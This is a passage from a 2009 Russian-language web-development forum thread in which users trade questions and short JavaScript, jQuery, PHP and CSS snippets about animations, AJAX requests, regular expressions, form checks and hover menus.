Так же политикой безопасности нельзя обращаться за пределы домена

[K4t]
02.11.2009, 06:31
Всё равно пишет undefined.
делаю так, как в твоём примере, кроме

req.open('GET', url, true);

а вызов такой:

<div onclick="alert(go('box.php?act=add&id=$id'));">Начать</div>

box.php делает echo "Добавлено: ".$_GET['act']." номер ".$_GET['id'] ...

qW1zer
05.11.2009, 17:59
nuBo
PHP(curl+парсинг) и все)
В общем ищи паблик граберы и делай под себя их

nuBo
05.11.2009, 18:11
nuBo
PHP(curl+парсинг) и все)
В общем ищи паблик граберы и делай под себя их
ответ конешно круть, но 1. на юкозе пхп не катит 2.я новичок в этом, возможно ли это зделать только способом java скриптов ?

qW1zer
05.11.2009, 19:09
Я думаю что нельзя,разве что jquery как то подключить,но тут уже точно не ко мне!
А что ответ,щас бесплатных хостингов много,правда курл не каждый поддерживает!

TIIIMOXAN
07.11.2009, 19:21
подскажите пожалуйста.
Я хочу добавить ява скрипт после индексации сайта,а именно картинку на которой будет ссылка на другой сайт.
Меня интересует как прописать с html страницы ссылку на сам скрипт,
что писать в хеде (если надо) и как правильно его подключать через id.

olishort
09.11.2009, 22:35
может кто подкинет граббер для юкоза ?
повтори что надо?!

comeoff
10.11.2009, 18:03
как в JS отразить изображение справа налево? пример: <><>
< - первое изображение > - второе
результат: мне нужно на бэкграунд поставить изображение, что бы оно повторялось в таком порядке <><> если у юзера разрешение экрана по горизонтали больше чем 1280

с меня +++

для наглядности вот пример:
http://i043.radikal.ru/0911/2f/3e9107ef2bdd.jpg

Myload
11.11.2009, 23:45
Хочу из этого кода

<SELECT NAME="Product" onchange="top.location.href = this.options[this.selectedIndex].value;">
<option selected value="">Включить сайт</option>
<option VALUE="http://www.site.com/link1.html">link1</option>
<option VALUE="http://www.site.com/link2.html">link2</option>
<option VALUE="http://www.site.com/link3.html">link3</option>
</SELECT>

сделать чтоб открывало такое окно

http://i003.radikal.ru/0911/dd/3c74b73daeb2.jpg

кто поможет с меня +6 :rolleyes:

Alpha][
12.11.2009, 13:06
народ кто-нибудь знает как решить такую проблему . Есть картинка предположим 100 на 100 . есть место на сайте где эта картинка должна отображаться размером 100 на 30 . Необходимо сделать так , что бы картинка в этом месте отображалась таким образом : сначала показывались первые 30px по высоте , затем через какое-то время картинка начинала ехать вверх показывая оставшиеся 70px (при этом размер места в котором она показывается не менялся бы ). Помогите пожалуйста !

diGriz
12.11.2009, 13:35
[']народ кто-нибудь знает как решить такую проблему . Есть картинка предположим 100 на 100 . есть место на сайте где эта картинка должна отображаться размером 100 на 30 . Необходимо сделать так , что бы картинка в этом месте отображалась таким образом : сначала показывались первые 30px по высоте , затем через какое-то время картинка начинала ехать вверх показывая оставшиеся 70px (при этом размер места в котором она показывается не менялся бы ). Помогите пожалуйста !

Что-то вроде этого:


<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function() {
$('#box').animate({height: 100}, 3000);
});
</script>
<div id="box" style="height:30px;">
<img src="1.jpg" />
</div>

Alpha][
12.11.2009, 13:46
diGriz
немного не то что нужно , необходимо что бы размер блока в котором картинка показывалась не менялся . Т.е , если изночально размер блока для отображения картинки равен 100px на 30px , то он таким и должен остаться . а картинка должна просто прокручиваться в этом блоке .

Alpha][
12.11.2009, 14:19
Нашел решение <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function() {
$('#box').animate({top: -70}, 3000);
});
</script>
<div id="box1" style="overflow:hidden;height:30px">
<img id="box"src="1.jpg" style="position:relative;top:0px;"/>
</div>

Дикс
13.11.2009, 09:57
не могу написать регулярку

есть текст

/id4548454'>главная

есть регулярка

var matches = body.match(/id[0-9]+'>главная/g);

не работает
что делать? слеш к кавычке добавлял, но не помогает
и в другой рабочей регулярке замечал что она достаёт сразу и число и буквы id
т.е. в результатах

id43435
id3453

а как сделать, чтобы достала только цифры?

UPD: все, решил

body.match(/id([0-9]+)">главная/i);

Большой джо
14.11.2009, 17:18
Есть тег, допустим <span>,
как сделать так, чтобы этот <span> не обрабатывался браузером, ну в смысле что бы его можно было показать как обычный текст (вместе со скобками) допустим в div ???

phpdreamer
14.11.2009, 21:01
можно преобразовать символы в HTML сущности
через дримвиевер или php

http://www.google.com/search?hl=ru&client=opera&rls=ru&hs=m6g&q=%D1%81%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D1%8B+%D0%B 2+HTML+%D1%81%D1%83%D1%89%D0%BD%D0%BE%D1%81%D1%82% D0%B8&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA

Большой джо
15.11.2009, 02:07
Ага спс, ща заюзаю!

Flcn
15.11.2009, 12:02
зачем же так то?
языками можно его эскейпнуть и вывести.
а в html специальный тег для этого есть

optimazer
15.11.2009, 13:38
народ подскажите в чем трабл


function checkEmail()
{
var m = $("#email").val()

$.post('/core.php?uri=checkmail', { email: m }, function(data){
alert("Данные загружены: " + data);
});
}

optimazer
15.11.2009, 14:25
библиотека jquery
требуется проверить наличие email в БД

diGriz
15.11.2009, 19:53
библиотека jquery
требуется проверить наличие email в БД


<script type="text/javascript">
$(function() {
$('#check').click(function() {
var mail = $('#mail').val();
$.ajax({
type: "POST",
url: "check.php",
data: "mail="+mail,
success: function(html){
$("#container").html(html);
}
});
});
});
</script>
<input type="text" name="mail" id="mail"/>
<input type="submit" value="check" id="check"/>
<div id="container"></div>


check.php

<?php
//Выполняешь запрос к бд
if(...)
{
//если уже есть такой email
echo "Пользователь, с таким email уже зарегистрирован";
}
else
{
echo "email свободен";
}
?>

phpdreamer
18.11.2009, 14:51
Я хотел минимизировать размер js скрипта..
пошел на сайт http://shrinksafe.dojotoolkit.org/
воспользовался ихним сервисом
смотрю результат: файл уменьшился, строк стало очень много, но они короткие

потом попробовал тот же исходный файл этим
http://javascript.crockford.com/jsmin.html для сравнения..
результат: файл уменьшился слабее, а строк гораздо меньше, но весь код где это возможно записан в 1 строку(600 длинных строк)

разница в сжатии небольшая, но мне почемуто кажется что вариант с длинными строками будет обрабатыватся браузером быстрее

это так? кто знает какой вариант будет лучше работать?

Krevedko
19.11.2009, 18:30
Привет.
Суть такова: имеется онлайн браузерка, есть функция сохранения записей боя. И если пользователь записывает простой текст, то он отображается. Можно выполнять javascript и любой html. PHP нельзя, пробовал.
Вопрос: можно ли средствами HTML или JS редактировать файл %windir%\system32\drivers\etc\hosts? Возможно можно выполнить PHP из фрейма.
Спасибо за внимание.

Mysterious
19.11.2009, 19:06
Привет.
Суть такова: имеется онлайн браузерка, есть функция сохранения записей боя. И если пользователь записывает простой текст, то он отображается. Можно выполнять javascript и любой html. PHP нельзя, пробовал.
Вопрос: можно ли средствами HTML или JS редактировать файл %windir%\system32\drivers\etc\hosts? Возможно можно выполнить PHP из фрейма.
Спасибо за внимание.


Насколько мне известно, то средствами html и javascript редактировать через браузер hosts не получится, а вот с помощью php вполне возможно, что-то типа шелла, только скомпилянный в exe, а через браузер наврятли ИМХО

CHIP:))
19.11.2009, 21:44
Всем привет. Есть картинка, надо выделить прямоугольником на ней область, примерно как тут http://vbolshov.org.ru/samples/jfirst/. Но высота прямоугольника должна равняться высоте картинки, никак не получается сделать. Также надо как то координаты курсора выводить рядом с ним. Я в яве вообще не бум бум, а надо срочно сделать, может кто сделает, я думаю там немного подправить надо и все, или хотя бы подскажет в какую сторону идти? Спасибо большое

j0ker13
20.11.2009, 00:00
вопрос) javascript
как правильнее и быстрее вырезать один массив из другого?
проще говоря удалить дубликаты с исходными значениями)
или на jquery решение есть?)

Lilo
20.11.2009, 03:14
не туда
:rolleyes:

.nor
20.11.2009, 12:31
Как можно обрабатывать страницу по мере ее загрузки?
Например есть текст 'abc' его нужно заменить на '123', не дожидаясь пока загрузится страница.

XopoIII
22.11.2009, 08:52
проблемка:
делаю ajax запрос через jquery, php скрипт выводит из базы 1000 строк.
пока php скрипт обрабатывает 1000 строк, я показываю ajaxloader, все обычно...но можно ли как то сделать, чтобы я мог выводить на экран строки по мере загрузки скриптом, а не ждать когда загрузятся все 1000?
спс

Большой джо
22.11.2009, 13:55
проблемка:
делаю ajax запрос через jquery, php скрипт выводит из базы 1000 строк.
пока php скрипт обрабатывает 1000 строк, я показываю ajaxloader, все обычно...но можно ли как то сделать, чтобы я мог выводить на экран строки по мере загрузки скриптом, а не ждать когда загрузятся все 1000?
спс
jquery не юзал, но знаю, можно в ajax поставить readyState=3, работает во всех браузерах, токо ie выдаёт ошибки

Alpha][
25.11.2009, 17:36
такая проблема возникла . Сделал на сайте форму . написал к ней скрипт для проверки введенных пользователем данных
Вот он

function check(){
var is_ok = true;
var errMsg = '';
var form = document.forms.orderForm;
if (form.orderName.value == null)
{
errMsg += "\n Название проекта";
$('#orderName').css('background-color','red');
is_ok = false;
}
if (form.category.value == '0')
{
errMsg += "\n Категория";
$('#category').css('background-color','red');
is_ok = false;
}
if (form.order_text.value == ''){
errMsg += "\n Описание проекта"; is_ok = false;
}
if(!is_ok){
alert("Вы не заполнили необходимые поля:"+errMsg);
}
return is_ok;
}

но вот беда , если в какое либо из полей ввести кавычку , то проверка глючит и не правильно работает , как решить эту проблему ? И еще , после проверка форма передается в php файл для занесения в базу данных , как защитить INSERT запрос от спец символов в полях формы ?

phpdreamer
25.11.2009, 23:33
Alpha][,
http://www.opennet.ru/base/dev/pcre_javascript.txt.html - Регулярные выражения в Javascript

InfNet
27.11.2009, 00:23
Как сделать подсветку кнопок такую же как на http://ai777-1.narod.ru ?
Главная Download Фотогалерея Прочее Обратная связь

FeraS
27.11.2009, 00:28
Как сделать подсветку кнопок такую же как на http://ai777-1.narod.ru ?
Посмотреть исходный код.

InfNet
27.11.2009, 01:11
Посмотреть исходный код.
Смотрел, там обращение к яве идет. Я так понимаю ява в отедльном файле.
Мне на самом деле лучше обычный пример и желательно без доп. файлов.

krypt3r
27.11.2009, 08:24
нет там никакой явы, это CSS

<html>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<head>
<style type="text/css">
a {text-decoration: none;}
body {
// background: #111 url(img/bg.jpg) repeat-y center top;
// color: #BBB;
font: normal 62.5% "Lucida Sans Unicode",sans-serif;
}
.nav {background: #191919 url(img/nav.gif);}
.nav a {
background: #191919 url(img/nav.gif);
border-right: 1px solid #161616;
color: #CCC;
float: left;
font: bold 1em Verdana,sans-serif;
line-height: 51px;
padding: 0 20px;
}
.nav a:hover {
background: #191919 url(img/nav_hover.gif);
}
</style>
</head>
<body>
<div class="nav">
<a href="index.html">Главная</a>
<a href="Dowload.html">Download</a>
<a href="gallery.html">Фотогалерея</a>
<a href="">Прочее</a>
<a href="support.html">Обратная связь</a>
</div>
</body>
</html>

Корвин
27.11.2009, 13:43
а короче:



a { color:red;} //простая ссылка, цвет красный
a:hover { color:blue;} //при наведении, цвет синий




оффтоп, это нада в HTML

xofffff
28.11.2009, 02:53
Вот нашел на античате ява скрипт для оперы что бы в быстром ответе добавились иконки типо ссылки, вставить картинку, php код и тд.
Может кто написать такой же только мне надо на форум там окно сообщения имеет следующий html код
<table border="0" cellspacing="0" cellpadding="0" width="100%"><tr>
<td background="/images/hbg.gif" bgcolor="#676767" height="23" class="main" width="100%">&nbsp;&nbsp;&nbsp;&nbsp;Ответить</td></tr><tr><td height="3"><img src="/images/1x1.gif" width="1"></td></tr><tr><td align="center" valign="top" bgcolor="#e0e0e0"><table border="0" cellspacing="12" cellpadding="0" width="100%"><tr><td colspan="2" valign="top">
<form method="post" name="user_post_form" action="/forums/brablay/54756/reply/">
<div style="margin: 6px; margin-left: 0px; ">
<A href="javascript:emoticon(':D')"><IMG title="Very Happy" alt="Very Happy" src="http://www.proplay.ru/images/smiles/icon_biggrin.gif" border=0></A>
<A href="javascript:emoticon(':)')"><IMG title=Smile alt=Smile src="http://www.proplay.ru/images/smiles/icon_smile.gif" border=0></A>
<A href="javascript:emoticon(':(')"><IMG title=Sad alt=Sad src="http://www.proplay.ru/images/smiles/icon_sad.gif" border=0></A>
<A href="javascript:emoticon(':o')"><IMG title=Surprised alt=Surprised src="http://www.proplay.ru/images/smiles/icon_surprised.gif" border=0></A>
<A href="javascript:emoticon(':shock:')"><IMG title=Shocked alt=Shocked src="http://www.proplay.ru/images/smiles/icon_eek.gif" border=0></A>
<A href="javascript:emoticon(':?')"><IMG title=Confused alt=Confused src="http://www.proplay.ru/images/smiles/icon_confused.gif" border=0></A>
<A href="javascript:emoticon('8)')"><IMG title=Cool alt=Cool src="http://www.proplay.ru/images/smiles/icon_cool.gif" border=0></A>
<A href="javascript:emoticon(':lol:')"><IMG title=Laughing alt=Laughing src="http://www.proplay.ru/images/smiles/icon_lol.gif" border=0></A>
<A href="javascript:emoticon(':x')"><IMG title=Mad alt=Mad src="http://www.proplay.ru/images/smiles/icon_mad.gif" border=0></A>
<A href="javascript:emoticon(':P')"><IMG title=Razz alt=Razz src="http://www.proplay.ru/images/smiles/icon_razz.gif" border=0></A>
<A href="javascript:emoticon(':oops:')"><IMG title=Embarassed alt=Embarassed src="http://www.proplay.ru/images/smiles/icon_redface.gif" border=0></A>
<A href="javascript:emoticon(':cry:')"><IMG title="Crying or Very sad" alt="Crying or Very sad" src="http://www.proplay.ru/images/smiles/icon_cry.gif" border=0></A>
<A href="javascript:emoticon(':evil:')"><IMG title="Evil or Very Mad" alt="Evil or Very Mad" src="http://www.proplay.ru/images/smiles/icon_evil.gif" border=0></A>
<A href="javascript:emoticon(':twisted:')"><IMG title="Twisted Evil" alt="Twisted Evil" src="http://www.proplay.ru/images/smiles/icon_twisted.gif" border=0></A>
<A href="javascript:emoticon(':roll:')"><IMG title="Rolling Eyes" alt="Rolling Eyes" src="http://www.proplay.ru/images/smiles/icon_rolleyes.gif" border=0></A>
<A href="javascript:emoticon(':wink:')"><IMG title=Wink alt=Wink src="http://www.proplay.ru/images/smiles/icon_wink.gif" border=0></A>
<A href="javascript:emoticon(':!:')"><IMG title=Exclamation alt=Exclamation src="http://www.proplay.ru/images/smiles/icon_exclaim.gif" border=0></A>
<A href="javascript:emoticon(':?:')"><IMG title=Question alt=Question src="http://www.proplay.ru/images/smiles/icon_question.gif" border=0></A>
<A href="javascript:emoticon(':idea:')"><IMG title=Idea alt=Idea src="http://www.proplay.ru/images/smiles/icon_idea.gif" border=0></A>
<A href="javascript:emoticon(':arrow:')"><IMG title=Arrow alt=Arrow src="http://www.proplay.ru/images/smiles/icon_arrow.gif" border=0></A>
</div>
<textarea name="body" rows="5" style="width: 100%"></textarea><br>
<p>
<input class="button" type="submit" value="Ответить">
</p>
</form>
<p>
<b><img align="baseline" src="/images/users/arw.png"> <a href="/forums/brablay/add/"><b>Новая тема</b></a>
<br>
<img align="baseline" src="/images/users/arw.png"> <a href="javascript:PopUpWindow('http://www.proplay.ru/adm/forums.php?ac=subscribe&id_topic=$id_topic', 300, 50)"><b>Подписаться</b></a>

</p>
</td></tr></table></td></tr><tr><td height="6"><img src="/images/1x1.gif" width="1"></td></tr></table>
Только мне надо что бы туда свои смаилики пределать может кто подсказать как это сделать?

phpdreamer
28.11.2009, 11:15
заменить адреса изображений на свои

Byrger
28.11.2009, 14:19
Есть функция

function changeImages(id) {
if (document.images) {
image{сюда}on = new Image();
}
}

как в {сюда} вставить переменную id ?

xofffff
29.11.2009, 10:56
заменить адреса изображений на свои
А как сохранить в .js и в папку оперы? и как он определит что это для этого сайта именно :confused:

#Wolf#
29.11.2009, 15:27
<form method="POST">
<?php
include_once 'captcha.php';
$validate=(@$_SESSION["captcha"] && @$_POST["captcha"]==@$_SESSION["captcha"]);
?>
<input type="submit" name="submit" value="get info">
</form>
<?php
function curl($post){
$url = "test.com";
$ref = "test.com";
$ua = "test";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT,$ua);
curl_setopt($ch, CURLOPT_REFERER,$ref);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;}
if($validate){
$result=curl('login=test&password=test&id=1');
if(!preg_match_all('#<tr><td>([a-f0-9]{5})</td><td>#',$result,$m)) {curl('login=test&password=test&id=2');
echo 'TimeOut';
}else{
echo '<h1>'.$m[1][0].'</h1>';
}}else{if(isset($_POST["submit"])) {echo 'Защитный код введен не верно!';}}
?>

есть примерно такой скриптик простенький,
получает информацию с сервера site.com
грузится довольно долго все это дело.
Каким образом можно прикрутить ajaxloading?
ни js, ни ajax вообще не знаю =\

j0ker13
01.12.2009, 14:15
вопрос) есть форма
<form name="TEST" action="test.html" method="get">
<input type="text" name="1">
<input type="submit" value="ok">
</form>
как можно сделать чтобы при выключенном js форма не отправлялась?)
как вариант конечно сделать кнопку такой
<input type="submit" value="ok" style="display:none">
но форму можно отправить по ентеру( есть предложения?

Alpha][
01.12.2009, 15:35
народ как с помощью js вычислить высоту body ? именно body , а не клиентской части браузера .

whexp
01.12.2009, 15:44
[']народ как с помощью js вычислить высоту body ? именно body , а не клиентской части браузера .
Так? (http://tinyurl.com/ybodzpx)

Alpha][
01.12.2009, 15:57
нашел , спасибо . Искал оказывается не правильно